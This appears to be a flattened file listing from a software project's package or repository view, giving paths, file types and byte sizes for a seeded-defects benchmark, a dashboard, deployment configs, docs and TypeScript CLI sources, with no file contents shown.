bytesbenchmarks/seeded-defects/cases/SD-0069/check.pyruns250 bytesbenchmarks/seeded-defects/cases/SD-0069/spec.mddoc73 bytesbenchmarks/seeded-defects/cases/SD-0069/src.pyruns141 bytesbenchmarks/seeded-defects/cases/SD-0069/test_visible.pyruns329 bytesbenchmarks/seeded-defects/cases/SD-0070/check.pyruns254 bytesbenchmarks/seeded-defects/cases/SD-0070/spec.mddoc75 bytesbenchmarks/seeded-defects/cases/SD-0070/src.pyruns143 bytesbenchmarks/seeded-defects/cases/SD-0070/test_visible.pyruns334 bytesbenchmarks/seeded-defects/cases/SD-0071/check.pyruns247 bytesbenchmarks/seeded-defects/cases/SD-0071/spec.mddoc75 bytesbenchmarks/seeded-defects/cases/SD-0071/src.pyruns142 bytesbenchmarks/seeded-defects/cases/SD-0071/test_visible.pyruns325 bytesbenchmarks/seeded-defects/cases/SD-0072/check.pyruns249 bytesbenchmarks/seeded-defects/cases/SD-0072/spec.mddoc77 bytesbenchmarks/seeded-defects/cases/SD-0072/src.pyruns144 bytesbenchmarks/seeded-defects/cases/SD-0072/test_visible.pyruns329 bytesbenchmarks/seeded-defects/cases/SD-0073/check.pyruns248 bytesbenchmarks/seeded-defects/cases/SD-0073/spec.mddoc75 bytesbenchmarks/seeded-defects/cases/SD-0073/src.pyruns142 bytesbenchmarks/seeded-defects/cases/SD-0073/test_visible.pyruns327 bytesbenchmarks/seeded-defects/cases/SD-0074/check.pyruns250 bytesbenchmarks/seeded-defects/cases/SD-0074/spec.mddoc78 bytesbenchmarks/seeded-defects/cases/SD-0074/src.pyruns145 bytesbenchmarks/seeded-defects/cases/SD-0074/test_visible.pyruns331 bytesbenchmarks/seeded-defects/cases/SD-0075/check.pyruns248 bytesbenchmarks/seeded-defects/cases/SD-0075/spec.mddoc75 bytesbenchmarks/seeded-defects/cases/SD-0075/src.pyruns142 bytesbenchmarks/seeded-defects/cases/SD-0075/test_visible.pyruns327 bytesbenchmarks/seeded-defects/cases/SD-0076/check.pyruns243 bytesbenchmarks/seeded-defects/cases/SD-0076/spec.mddoc80 bytesbenchmarks/seeded-defects/cases/SD-0076/src.pyruns146 bytesbenchmarks/seeded-defects/cases/SD-0076/test_visible.pyruns322 bytesbenchmarks/seeded-defects/cases/SD-0077/check.pyruns245 bytesbenchmarks/seeded-defects/cases/SD-0077/spec.mddoc80 bytesbenchmarks/seeded-defects/cases/SD-0077/src.pyruns146 bytesbenchmarks/seeded-defects/cases/SD-0077/test_visible.pyruns323 bytesbenchmarks/seeded-defects/cases/SD-0078/check.pyruns243 bytesbenchmarks/seeded-defects/cases/SD-0078/spec.mddoc82 bytesbenchmarks/seeded-defects/cases/SD-0078/src.pyruns148 bytesbenchmarks/seeded-defects/cases/SD-0078/test_visible.pyruns322 bytesbenchmarks/seeded-defects/cases/SD-0079/check.pyruns249 bytesbenchmarks/seeded-defects/cases/SD-0079/spec.mddoc80 bytesbenchmarks/seeded-defects/cases/SD-0079/src.pyruns146 bytesbenchmarks/seeded-defects/cases/SD-0079/test_visible.pyruns325 bytesbenchmarks/seeded-defects/cases/SD-0080/check.pyruns246 bytesbenchmarks/seeded-defects/cases/SD-0080/spec.mddoc82 bytesbenchmarks/seeded-defects/cases/SD-0080/src.pyruns148 bytesbenchmarks/seeded-defects/cases/SD-0080/test_visible.pyruns325 bytesbenchmarks/seeded-defects/cases/SD-0081/check.pyruns336 bytesbenchmarks/seeded-defects/cases/SD-0081/spec.mddoc121 bytesbenchmarks/seeded-defects/cases/SD-0081/src.pyruns183 bytesbenchmarks/seeded-defects/cases/SD-0081/test_visible.pyruns247 bytesbenchmarks/seeded-defects/cases/SD-0082/check.pyruns354 bytesbenchmarks/seeded-defects/cases/SD-0082/spec.mddoc121 bytesbenchmarks/seeded-defects/cases/SD-0082/src.pyruns183 bytesbenchmarks/seeded-defects/cases/SD-0082/test_visible.pyruns247 bytesbenchmarks/seeded-defects/cases/SD-0083/check.pyruns338 bytesbenchmarks/seeded-defects/cases/SD-0083/spec.mddoc121 bytesbenchmarks/seeded-defects/cases/SD-0083/src.pyruns183 bytesbenchmarks/seeded-defects/cases/SD-0083/test_visible.pyruns247 bytesbenchmarks/seeded-defects/cases/SD-0084/check.pyruns332 bytesbenchmarks/seeded-defects/cases/SD-0084/spec.mddoc121 bytesbenchmarks/seeded-defects/cases/SD-0084/src.pyruns183 bytesbenchmarks/seeded-defects/cases/SD-0084/test_visible.pyruns247 bytesbenchmarks/seeded-defects/cases/SD-0085/check.pyruns350 bytesbenchmarks/seeded-defects/cases/SD-0085/spec.mddoc121 bytesbenchmarks/seeded-defects/cases/SD-0085/src.pyruns183 bytesbenchmarks/seeded-defects/cases/SD-0085/test_visible.pyruns247 bytesbenchmarks/seeded-defects/cases/SD-0086/check.pyruns490 bytesbenchmarks/seeded-defects/cases/SD-0086/spec.mddoc131 bytesbenchmarks/seeded-defects/cases/SD-0086/src.pyruns203 bytesbenchmarks/seeded-defects/cases/SD-0086/test_visible.pyruns400 bytesbenchmarks/seeded-defects/cases/SD-0087/check.pyruns497 bytesbenchmarks/seeded-defects/cases/SD-0087/spec.mddoc134 bytesbenchmarks/seeded-defects/cases/SD-0087/src.pyruns206 bytesbenchmarks/seeded-defects/cases/SD-0087/test_visible.pyruns406 bytesbenchmarks/seeded-defects/cases/SD-0088/check.pyruns494 bytesbenchmarks/seeded-defects/cases/SD-0088/spec.mddoc133 bytesbenchmarks/seeded-defects/cases/SD-0088/src.pyruns205 bytesbenchmarks/seeded-defects/cases/SD-0088/test_visible.pyruns404 bytesbenchmarks/seeded-defects/cases/SD-0089/check.pyruns504 bytesbenchmarks/seeded-defects/cases/SD-0089/spec.mddoc132 bytesbenchmarks/seeded-defects/cases/SD-0089/src.pyruns204 bytesbenchmarks/seeded-defects/cases/SD-0089/test_visible.pyruns402 bytesbenchmarks/seeded-defects/cases/SD-0090/check.pyruns512 bytesbenchmarks/seeded-defects/cases/SD-0090/spec.mddoc131 bytesbenchmarks/seeded-defects/cases/SD-0090/src.pyruns203 bytesbenchmarks/seeded-defects/cases/SD-0090/test_visible.pyruns400 bytesbenchmarks/seeded-defects/cases/SD-0091/check.pyruns357 bytesbenchmarks/seeded-defects/cases/SD-0091/spec.mddoc89 bytesbenchmarks/seeded-defects/cases/SD-0091/src.pyruns152 bytesbenchmarks/seeded-defects/cases/SD-0091/test_visible.pyruns242 bytesbenchmarks/seeded-defects/cases/SD-0092/check.pyruns366 bytesbenchmarks/seeded-defects/cases/SD-0092/spec.mddoc89 bytesbenchmarks/seeded-defects/cases/SD-0092/src.pyruns152 bytesbenchmarks/seeded-defects/cases/SD-0092/test_visible.pyruns242 bytesbenchmarks/seeded-defects/cases/SD-0093/check.pyruns312 bytesbenchmarks/seeded-defects/cases/SD-0093/spec.mddoc89 bytesbenchmarks/seeded-defects/cases/SD-0093/src.pyruns152 bytesbenchmarks/seeded-defects/cases/SD-0093/test_visible.pyruns242 bytesbenchmarks/seeded-defects/cases/SD-0094/check.pyruns345 bytesbenchmarks/seeded-defects/cases/SD-0094/spec.mddoc89 bytesbenchmarks/seeded-defects/cases/SD-0094/src.pyruns152 bytesbenchmarks/seeded-defects/cases/SD-0094/test_visible.pyruns242 bytesbenchmarks/seeded-defects/cases/SD-0095/check.pyruns318 bytesbenchmarks/seeded-defects/cases/SD-0095/spec.mddoc89 bytesbenchmarks/seeded-defects/cases/SD-0095/src.pyruns152 bytesbenchmarks/seeded-defects/cases/SD-0095/test_visible.pyruns242 bytesbenchmarks/seeded-defects/cases/SD-0096/check.pyruns361 bytesbenchmarks/seeded-defects/cases/SD-0096/spec.mddoc133 bytesbenchmarks/seeded-defects/cases/SD-0096/src.pyruns145 bytesbenchmarks/seeded-defects/cases/SD-0096/test_visible.pyruns242 bytesbenchmarks/seeded-defects/cases/SD-0097/check.pyruns359 bytesbenchmarks/seeded-defects/cases/SD-0097/spec.mddoc133 bytesbenchmarks/seeded-defects/cases/SD-0097/src.pyruns145 bytesbenchmarks/seeded-defects/cases/SD-0097/test_visible.pyruns242 bytesbenchmarks/seeded-defects/cases/SD-0098/check.pyruns351 bytesbenchmarks/seeded-defects/cases/SD-0098/spec.mddoc133 bytesbenchmarks/seeded-defects/cases/SD-0098/src.pyruns145 bytesbenchmarks/seeded-defects/cases/SD-0098/test_visible.pyruns242 bytesbenchmarks/seeded-defects/cases/SD-0099/check.pyruns363 bytesbenchmarks/seeded-defects/cases/SD-0099/spec.mddoc133 bytesbenchmarks/seeded-defects/cases/SD-0099/src.pyruns145 bytesbenchmarks/seeded-defects/cases/SD-0099/test_visible.pyruns242 bytesbenchmarks/seeded-defects/cases/SD-0100/check.pyruns371 bytesbenchmarks/seeded-defects/cases/SD-0100/spec.mddoc133 bytesbenchmarks/seeded-defects/cases/SD-0100/src.pyruns145 bytesbenchmarks/seeded-defects/cases/SD-0100/test_visible.pyruns242 bytesbenchmarks/seeded-defects/generate.pyruns21,380 bytesbenchmarks/seeded-defects/manifest.jsonasset45,011 bytesbenchmarks/seeded-defects/measure.pyruns22,072 bytesbenchmarks/seeded-defects/pr-cases/PR-0001/base/src.pyruns123 bytesbenchmarks/seeded-defects/pr-cases/PR-0001/base/test_visible.pyruns194 bytesbenchmarks/seeded-defects/pr-cases/PR-0001/base/tests/test_clause.pyruns258 bytesbenchmarks/seeded-defects/pr-cases/PR-0001/head/src.pyruns115 bytesbenchmarks/seeded-defects/pr-cases/PR-0001/head/test_visible.pyruns194 bytesbenchmarks/seeded-defects/pr-cases/PR-0001/head/tests/test_clause.pyruns258 bytesbenchmarks/seeded-defects/pr-cases/PR-0001/issue.mddoc205 bytesbenchmarks/seeded-defects/pr-cases/PR-0002/base/src.pyruns123 bytesbenchmarks/seeded-defects/pr-cases/PR-0002/base/test_visible.pyruns194 bytesbenchmarks/seeded-defects/pr-cases/PR-0002/base/tests/test_clause.pyruns258 bytesbenchmarks/seeded-defects/pr-cases/PR-0002/head/src.pyruns119 bytesbenchmarks/seeded-defects/pr-cases/PR-0002/head/test_visible.pyruns194 bytesbenchmarks/seeded-defects/pr-cases/PR-0002/head/tests/test_clause.pyruns258 bytesbenchmarks/seeded-defects/pr-cases/PR-0002/issue.mddoc205 bytesbenchmarks/seeded-defects/pr-cases/PR-0003/base/src.pyruns103 bytesbenchmarks/seeded-defects/pr-cases/PR-0003/base/test_visible.pyruns213 bytesbenchmarks/seeded-defects/pr-cases/PR-0003/base/tests/test_clause.pyruns293 bytesbenchmarks/seeded-defects/pr-cases/PR-0003/head/src.pyruns111 bytesbenchmarks/seeded-defects/pr-cases/PR-0003/head/test_visible.pyruns213 bytesbenchmarks/seeded-defects/pr-cases/PR-0003/head/tests/test_clause.pyruns293 bytesbenchmarks/seeded-defects/pr-cases/PR-0003/issue.mddoc214 bytesbenchmarks/seeded-defects/pr-cases/PR-0004/base/src.pyruns103 bytesbenchmarks/seeded-defects/pr-cases/PR-0004/base/test_visible.pyruns213 bytesbenchmarks/seeded-defects/pr-cases/PR-0004/base/tests/test_clause.pyruns293 bytesbenchmarks/seeded-defects/pr-cases/PR-0004/head/src.pyruns119 bytesbenchmarks/seeded-defects/pr-cases/PR-0004/head/test_visible.pyruns213 bytesbenchmarks/seeded-defects/pr-cases/PR-0004/head/tests/test_clause.pyruns293 bytesbenchmarks/seeded-defects/pr-cases/PR-0004/issue.mddoc214 bytesbenchmarks/seeded-defects/pr-cases/PR-0005/base/src.pyruns94 bytesbenchmarks/seeded-defects/pr-cases/PR-0005/base/test_visible.pyruns192 bytesbenchmarks/seeded-defects/pr-cases/PR-0005/base/tests/test_clause.pyruns252 bytesbenchmarks/seeded-defects/pr-cases/PR-0005/head/src.pyruns126 bytesbenchmarks/seeded-defects/pr-cases/PR-0005/head/test_visible.pyruns192 bytesbenchmarks/seeded-defects/pr-cases/PR-0005/head/tests/test_clause.pyruns252 bytesbenchmarks/seeded-defects/pr-cases/PR-0005/issue.mddoc128 bytesbenchmarks/seeded-defects/pr-cases/PR-0006/base/src.pyruns140 bytesbenchmarks/seeded-defects/pr-cases/PR-0006/base/test_visible.pyruns220 bytesbenchmarks/seeded-defects/pr-cases/PR-0006/base/tests/test_clause.pyruns359 bytesbenchmarks/seeded-defects/pr-cases/PR-0006/head/src.pyruns148 bytesbenchmarks/seeded-defects/pr-cases/PR-0006/head/test_visible.pyruns221 bytesbenchmarks/seeded-defects/pr-cases/PR-0006/head/tests/test_clause.pyruns359 bytesbenchmarks/seeded-defects/pr-cases/PR-0006/issue.mddoc230 bytesbenchmarks/seeded-defects/pr-cases/PR-0007/base/src.pyruns145 bytesbenchmarks/seeded-defects/pr-cases/PR-0007/base/test_visible.pyruns198 bytesbenchmarks/seeded-defects/pr-cases/PR-0007/base/tests/test_clause.pyruns289 bytesbenchmarks/seeded-defects/pr-cases/PR-0007/head/src.pyruns154 bytesbenchmarks/seeded-defects/pr-cases/PR-0007/head/test_visible.pyruns227 bytesbenchmarks/seeded-defects/pr-cases/PR-0007/head/tests/test_clause.pyruns289 bytesbenchmarks/seeded-defects/pr-cases/PR-0007/issue.mddoc171 bytesbenchmarks/seeded-defects/pr-cases/PR-0008/base/src.pyruns110 bytesbenchmarks/seeded-defects/pr-cases/PR-0008/base/test_visible.pyruns202 bytesbenchmarks/seeded-defects/pr-cases/PR-0008/head/src.pyruns117 bytesbenchmarks/seeded-defects/pr-cases/PR-0008/head/test_visible.pyruns202 bytesbenchmarks/seeded-defects/pr-cases/PR-0008/issue.mddoc54 bytesbenchmarks/seeded-defects/pr-manifest.jsonasset4,744 bytesbenchmarks/seeded-defects/results/wrong-pass.jsonasset7,195 bytesbin/lokiruns50,037 bytesbin/loki-mode.jsruns1,145 bytesbin/loki-postinstall.jsruns721 bytesclaude/hooks/loki-session-end.shruns2,944 bytescollab/__init__.pyruns1,851 bytescollab/api.pyruns16,573 bytescollab/presence.pyruns22,057 bytescollab/sync.pyruns26,478 bytescollab/websocket.pyruns14,955 bytescompletions/_lokiasset29,984 bytescompletions/loki.bashruns16,816 bytesconfig/otel-collector/loki-collector.yamlasset1,668 bytesdashboard/.dockerignoreasset594 bytesdashboard/Dockerfileruns2,801 bytesdashboard/__init__.pyruns251 bytesdashboard/activity_logger.pyruns9,062 bytesdashboard/api_evidence.pyruns16,105 bytesdashboard/api_keys.pyruns11,634 bytesdashboard/api_operator.pyruns13,953 bytesdashboard/api_phases.pyruns10,331 bytesdashboard/api_releases.pyruns9,992 bytesdashboard/api_runs.pyruns21,652 bytesdashboard/api_runs_v1.pyruns2,673 bytesdashboard/api_start.pyruns18,450 bytesdashboard/api_tests.pyruns19,196 bytesdashboard/api_v2.pyruns36,061 bytesdashboard/api_workspaces.pyruns4,789 bytesdashboard/app_secrets.pyruns4,547 bytesdashboard/audit.pyruns43,763 bytesdashboard/auth.pyruns26,604 bytesdashboard/build_supervisor.pyruns48,321 bytesdashboard/control.pyruns13,271 bytesdashboard/database.pyruns3,677 bytesdashboard/docker-compose.ymlasset1,475 bytesdashboard/failure_extractor.pyruns8,298 bytesdashboard/migration_engine.pyruns52,997 bytesdashboard/models.pyruns10,854 bytesdashboard/prompt_optimizer.pyruns11,000 bytesdashboard/registry.pyruns33,779 bytesdashboard/requirements.txtdoc640 bytesdashboard/rigour_integration.pyruns12,931 bytesdashboard/runs.pyruns11,099 bytesdashboard/secure_tmp.pyruns3,043 bytesdashboard/server.pyruns559,380 bytesdashboard/telemetry.pyruns9,473 bytesdashboard/tenants.pyruns8,064 bytesdeploy/docker-compose/.env.exampleasset3,129 bytesdeploy/docker-compose/README.mddoc4,617 bytesdeploy/docker-compose/docker-compose.ymlasset3,238 bytesdeploy/docker-compose/otel-config.yamlasset697 bytesdeploy/ecs/README.mddoc922 bytesdeploy/ecs/control-plane-task.jsonasset1,847 bytesdeploy/helm/README.mddoc21,527 bytesdeploy/helm/autonomi/.helmignoreasset131 bytesdeploy/helm/autonomi/Chart.yamlasset339 bytesdeploy/helm/autonomi/templates/NOTES.txtdoc1,083 bytesdeploy/helm/autonomi/templates/_helpers.tplasset10,411 bytesdeploy/helm/autonomi/templates/configmap.yamlasset1,217 bytesdeploy/helm/autonomi/templates/control-token-secret.yamlasset1,809 bytesdeploy/helm/autonomi/templates/deployment-controlplane.yamlasset6,417 bytesdeploy/helm/autonomi/templates/deployment-worker.yamlasset6,143 bytesdeploy/helm/autonomi/templates/hpa-worker.yamlasset1,267 bytesdeploy/helm/autonomi/templates/ingress.yamlasset1,051 bytesdeploy/helm/autonomi/templates/job-worker.yamlasset9,410 bytesdeploy/helm/autonomi/templates/keda-scaledjob.yamlasset6,161 bytesdeploy/helm/autonomi/templates/keda-scaledobject.yamlasset1,326 bytesdeploy/helm/autonomi/templates/namespace.yamlasset180 bytesdeploy/helm/autonomi/templates/networkpolicy.yamlasset2,604 bytesdeploy/helm/autonomi/templates/pdb.yamlasset1,340 bytesdeploy/helm/autonomi/templates/pvc-audit.yamlasset1,299 bytesdeploy/helm/autonomi/templates/pvc-checkpoints.yamlasset597 bytesdeploy/helm/autonomi/templates/pvc-control-db.yamlasset584 bytesdeploy/helm/autonomi/templates/rbac.yamlasset944 bytesdeploy/helm/autonomi/templates/secret.yamlasset962 bytesdeploy/helm/autonomi/templates/service-controlplane.yamlasset436 bytesdeploy/helm/autonomi/templates/service-worker.yamlasset543 bytesdeploy/helm/autonomi/templates/serviceaccount.yamlasset357 bytesdeploy/helm/autonomi/templates/servicemonitor.yamlasset1,059 bytesdeploy/helm/autonomi/templates/tests/test-controlplane-health.yamlasset3,570 bytesdeploy/helm/autonomi/tests/test-connection.yamlasset598 bytesdeploy/helm/autonomi/tests/test-health.yamlasset763 bytesdeploy/helm/autonomi/values-ha.yamlasset2,336 bytesdeploy/helm/autonomi/values-production.yamlasset1,467 bytesdeploy/helm/autonomi/values.schema.jsonasset4,998 bytesdeploy/helm/autonomi/values.yamlasset28,280 bytesdeploy/helm/control-plane/Chart.yamlasset183 bytesdeploy/helm/control-plane/templates/_helpers.tplasset440 bytesdeploy/helm/control-plane/templates/deployment.yamlasset3,415 bytesdeploy/helm/control-plane/templates/ingress.yamlasset774 bytesdeploy/helm/control-plane/templates/pvc.yamlasset476 bytesdeploy/helm/control-plane/templates/service.yamlasset323 bytesdeploy/helm/control-plane/values.yamlasset1,645 bytesdeploy/terraform/examples/aws-eks/main.tfasset2,190 bytesdeploy/terraform/examples/aws-eks/terraform.tfvars.exampleasset939 bytesdeploy/terraform/examples/azure-aks/main.tfasset2,252 bytesdeploy/terraform/examples/azure-aks/terraform.tfvars.exampleasset854 bytesdeploy/terraform/examples/gcp-gke/main.tfasset2,011 bytesdeploy/terraform/examples/gcp-gke/terraform.tfvars.exampleasset871 bytesdeploy/terraform/modules/aws-ecs/main.tfasset8,865 bytesdeploy/terraform/modules/aws-ecs/outputs.tfasset848 bytesdeploy/terraform/modules/aws-ecs/variables.tfasset5,501 bytesdeploy/terraform/modules/aws-ecs/versions.tfasset276 bytesdeploy/terraform/modules/aws/README.mddoc2,256 bytesdeploy/terraform/modules/aws/main.tfasset20,245 bytesdeploy/terraform/modules/aws/outputs.tfasset1,082 bytesdeploy/terraform/modules/aws/variables.tfasset3,323 bytesdeploy/terraform/modules/aws/versions.tfasset469 bytesdeploy/terraform/modules/azure/README.mddoc2,146 bytesdeploy/terraform/modules/azure/main.tfasset7,320 bytesdeploy/terraform/modules/azure/outputs.tfasset1,082 bytesdeploy/terraform/modules/azure/variables.tfasset3,277 bytesdeploy/terraform/modules/azure/versions.tfasset402 bytesdeploy/terraform/modules/gcp/README.mddoc2,039 bytesdeploy/terraform/modules/gcp/main.tfasset9,011 bytesdeploy/terraform/modules/gcp/outputs.tfasset824 bytesdeploy/terraform/modules/gcp/variables.tfasset3,420 bytesdeploy/terraform/modules/gcp/versions.tfasset400 bytesdocker/.env.exampleasset1,966 bytesdocker/Dockerfileruns12,199 bytesdocker/Dockerfile.control-planeasset2,347 bytesdocker/Dockerfile.sandboxasset15,137 bytesdocker/docker-compose.ymlasset12,277 bytesdocs/.nojekyllasset0 bytesdocs/404.htmlasset1,955 bytesdocs/AGENT-CHANGE-RECEIPT.mddoc4,510 bytesdocs/ARCHITECTURE.mddoc18,525 bytesdocs/AUDIT-CHAIN-THREAT-MODEL.mddoc6,311 bytesdocs/CLI-CORE-VERBS.mddoc5,598 bytesdocs/CLI-INVENTORY.mddoc11,142 bytesdocs/CLI-REFERENCE.mddoc9,286 bytesdocs/COMPARE-OPENCODE.mddoc8,425 bytesdocs/COMPONENTS.mddoc16,591 bytesdocs/DEPLOY-PLAN.mddoc16,205 bytesdocs/DEPLOYMENT.mddoc22,437 bytesdocs/DOCKER.mddoc19,149 bytesdocs/INSTALLATION.mddoc11,406 bytesdocs/KNOWN-ISSUES.mddoc1,511 bytesdocs/LICENSE-CHANGE-NOTICE.mddoc2,598 bytesdocs/OPEN-CORE-BOUNDARY.mddoc3,294 bytesdocs/OTEL-COLLECTOR.mddoc1,918 bytesdocs/PRIVACY.mddoc19,185 bytesdocs/PROOF-PASSPORT.mddoc8,162 bytesdocs/QUICKSTART.mddoc3,894 bytesdocs/SIGNED-RECEIPTS.mddoc12,462 bytesdocs/SLO.mddoc2,837 bytesdocs/TESTING.mddoc3,381 bytesdocs/TOOL-INTEGRATION.mddoc6,891 bytesdocs/TOOLS.mddoc27,271 bytesdocs/WORKSPACES.mddoc8,624 bytesdocs/acp-editors.mddoc947 bytesdocs/air-gapped.mddoc5,653 bytesdocs/alternative-installations.mddoc12,634 bytesdocs/api-runs-v1.mddoc852 bytesdocs/architecture/ADR-001-runtime-migration.mddoc14,505 bytesdocs/audit-logging.mddoc14,094 bytesdocs/authentication.mddoc11,408 bytesdocs/authorization.mddoc11,956 bytesdocs/brownfield.mddoc5,359 bytesdocs/control-plane-container.mddoc2,041 bytesdocs/control-plane-migration.mddoc6,322 bytesdocs/cost-controls.mddoc12,039 bytesdocs/dev/architecture-reference.mddoc29,701 bytesdocs/dev/project-structure.mddoc7,841 bytesdocs/dev/release-checklist.mddoc7,551 bytesdocs/dev/tmp-cleanup.mddoc6,506 bytesdocs/environment-variables.mddoc22,211 bytesdocs/examples/loki-issue-to-pr.yml.exampleasset21,954 bytesdocs/exit-codes.mddoc29,500 bytesdocs/git-workflow.mddoc7,811 bytesdocs/image-provenance.mddoc7,567 bytesdocs/index.htmlasset1,960 bytesdocs/loki.yaml.exampleasset1,606 bytesdocs/merge-queue.mddoc1,752 bytesdocs/metrics.mddoc14,134 bytesdocs/mobile-verify.mddoc607 bytesdocs/network-security.mddoc7,060 bytesdocs/overview.htmlasset30,381 bytesdocs/sentry-intake.mddoc6,413 bytesdocs/siem-integration.mddoc17,917 bytesdocs/slack.mddoc3,255 bytesdocs/spec-first-intent.mddoc4,822 bytesdocs/trackers.mddoc4,532 bytesdocs/v10/GUIDE-MODERNIZE.mddoc4,467 bytesdocs/v10/GUIDE.mddoc31,205 bytesdocs/visual-evidence.mddoc1,036 bytesevents/__init__.pyruns611 bytesevents/bus.pyruns21,475 bytesevents/bus.tsruns11,225 bytesevents/emit.shruns19,006 bytesglama.jsonasset100 byteshelm/loki-mode/.helmignoreasset80 byteshelm/loki-mode/Chart.yamlasset1,533 byteshelm/loki-mode/templates/_helpers.tplasset2,709 byteshelm/loki-mode/templates/networkpolicy.yamlasset4,300 byteshelm/loki-mode/templates/receiver-configmap.yamlasset1,646 byteshelm/loki-mode/templates/receiver-deployment.yamlasset6,103 byteshelm/loki-mode/templates/receiver-service.yamlasset1,730 byteshelm/loki-mode/templates/redis.yamlasset4,007 byteshelm/loki-mode/templates/secret.yamlasset2,113 byteshelm/loki-mode/templates/serviceaccount.yamlasset701 byteshelm/loki-mode/templates/tests/test-receiver-health.yamlasset2,046 byteshelm/loki-mode/templates/worker-deployment.yamlasset6,320 byteshelm/loki-mode/templates/worker-hpa.yamlasset2,609 byteshelm/loki-mode/values.yamlasset15,589 bytesintegrations/vibe-kanban.mddoc7,748 byteslearning/__init__.pyruns3,485 byteslearning/aggregate.shruns7,336 byteslearning/aggregator.pyruns40,356 byteslearning/emit.shruns15,656 byteslearning/emitter.pyruns16,138 byteslearning/signals.pyruns22,677 byteslearning/signals.tsruns21,866 byteslearning/suggest.shruns6,675 byteslearning/suggestions.pyruns27,793 bytesloki-ts/.gitignoreasset38 bytesloki-ts/.npmignoreasset254 bytesloki-ts/README.mddoc1,625 bytesloki-ts/bun.lockasset27,977 bytesloki-ts/data/child-env.jsonasset8,213 bytesloki-ts/data/code-review-schema.jsonasset2,286 bytesloki-ts/data/council-v2-schema.jsonasset1,774 bytesloki-ts/data/done-recognition-schema.jsonasset2,429 bytesloki-ts/data/finding-schema.jsonasset4,274 bytesloki-ts/data/model-pricing.jsonasset4,404 bytesloki-ts/data/requirements-verdict-schema.jsonasset1,596 bytesloki-ts/data/resvg.wasmasset2,478,606 bytesloki-ts/data/router-shape-defaults.jsonasset110 bytesloki-ts/dist/cockpit.jsruns21,294 bytesloki-ts/dist/cockpit.js.mapasset73,344 bytesloki-ts/dist/loki.jsruns3,427,755 bytesloki-ts/dist/loki.js.mapasset10,316,441 bytesloki-ts/package.jsonruns1,114 bytesloki-ts/scripts/build.tsruns8,865 bytesloki-ts/scripts/gen-cli-modern-doc.tsruns329 bytesloki-ts/scripts/gen-command-lists.tsruns1,104 bytesloki-ts/src/cli.tsruns23,295 bytesloki-ts/src/cli/completions.tsruns16,617 bytesloki-ts/src/cli/inventory_doc.tsruns3,028 bytesloki-ts/src/cli/registry.tsruns31,672 bytesloki-ts/src/cockpit/capability.tsruns1,522 bytesloki-ts/src/cockpit/cli.tsruns3,578 bytesloki-ts/src/cockpit/encode.tsruns2,876 bytesloki-ts/src/cockpit/raster.tsruns6,314 bytesloki-ts/src/cockpit/render.tsruns2,043 bytesloki-ts/src/cockpit/svg.tsruns13,966 bytesloki-ts/src/commands/completion.tsruns1,376 bytesloki-ts/src/commands/control.tsruns16,741 bytesloki-ts/src/commands/crash.tsruns10,340 bytesloki-ts/src/commands/doctor.tsruns110,630 bytesloki-ts/src/commands/doctor_fix.tsruns7,487 bytesloki-ts/src/commands/export_sarif.tsruns7,260 bytesloki-ts/src/commands/internal_exec_manifest.tsruns1,818 bytesloki-ts/src/commands/internal_phase1.tsruns13,342 bytesloki-ts/src/commands/internal_sdk_judge.tsruns7,335 bytesloki-ts/src/commands/issues_epic.tsruns19,471 bytesloki-ts/src/commands/issues_run.tsruns38,247 bytesloki-ts/src/commands/kpis.tsruns4,809 bytesloki-ts/src/commands/memory.tsruns15,756 bytesloki-ts/src/commands/proof.tsruns46,388 bytesloki-ts/src/commands/provider.tsruns9,464 bytesloki-ts/src/commands/queue.tsruns22,470 bytesloki-ts/src/commands/rollback.tsruns11,079 bytesloki-ts/src/commands/run_status.tsruns19,296 bytesloki-ts/src/commands/start.tsruns47,672 bytesloki-ts/src/commands/stats.tsruns25,011 bytesloki-ts/src/commands/status.tsruns41,633 bytesloki-ts/src/commands/trust.tsruns16,808 bytesloki-ts/src/commands/undo.tsruns16,339 bytesloki-ts/src/commands/undo_apply.tsruns10,371 bytesloki-ts/src/commands/verify_pr.tsruns29,117 bytesloki-ts/src/commands/version.tsruns1,827 bytesloki-ts/src/commands/wiki.tsruns5,551 bytesloki-ts/src/contrib/ai_bom.tsruns5,335 bytesloki-ts/src/contrib/brief_facts.tsruns1,773 bytesloki-ts/src/contrib/cost_records.tsruns7,116 bytesloki-ts/src/contrib/effort_policy.tsruns1,474 bytesloki-ts/src/contrib/eta.tsruns2,700 bytesloki-ts/src/contrib/forecast.tsruns4,952 bytesloki-ts/src/contrib/index.tsruns1,856 bytesloki-ts/src/contrib/plan_cmd.tsruns2,613 bytesloki-ts/src/contrib/receipt_time.tsruns3,924 bytesloki-ts/src/contrib/runtime_evidence.tsruns3,679 bytesloki-ts/src/contrib/sarif.tsruns3,631 bytesloki-ts/src/contrib/slack_inbound.tsruns19,903 bytesloki-ts/src/contrib/stage_capability.tsruns7,206 bytesloki-ts/src/contrib/status.tsruns419 bytesloki-ts/src/contrib/verify_pr_f2p.tsruns5,417 bytesloki-ts/src/contrib/wall_snapshot.tsruns3,646 bytesloki-ts/src/council/finding_schema.tsruns20,932 bytesloki-ts/src/council/role_agents.tsruns5,145 bytesloki-ts/src/e10ext/assert_delta.tsruns11,939 bytesloki-ts/src/e10ext/budget_cap.tsruns12,540 bytesloki-ts/src/e10ext/commit_filter.tsruns7,619 bytesloki-ts/src/e10ext/compound_match.tsruns3,927 bytesloki-ts/src/e10ext/context.tsruns7,887 bytesloki-ts/src/e10ext/discard.tsruns4,972 bytesloki-ts/src/e10ext/liveline.tsruns3,520 bytesloki-ts/src/e10ext/preexisting_dirty.tsruns3,231 bytesloki-ts/src/e10ext/repomemory.tsruns2,428 bytesloki-ts/src/e10ext/reviewer_body.tsruns7,264 bytesloki-ts/src/e10ext/scope.tsruns4,552 bytesloki-ts/src/e10ext/select.tsruns10,296 bytesloki-ts/src/e10ext/ship_hook.tsruns1,112 bytesloki-ts/src/e10ext/stop_restore.tsruns1,317 bytesloki-ts/src/e10ext/treeswap.tsruns19,493 bytesloki-ts/src/e10ext/wall_hints.tsruns4,228 bytesloki-ts/src/engine10/already_done.tsruns2,428 bytesloki-ts/src/engine10/cache.tsruns7,323 bytesloki-ts/src/engine10/cli.tsruns5,796 bytesloki-ts/src/engine10/cost.tsruns14,215 bytesloki-ts/src/engine10/events.tsruns10,429 bytesloki-ts/src/engine10/failures.tsruns5,469 bytesloki-ts/src/engine10/fetch_issue.tsruns7,813 bytesloki-ts/src/engine10/hooks.tsruns2,026 bytesloki-ts/src/engine10/integrate.tsruns6,747 bytesloki-ts/src/engine10/keys_cmd.tsruns2,548 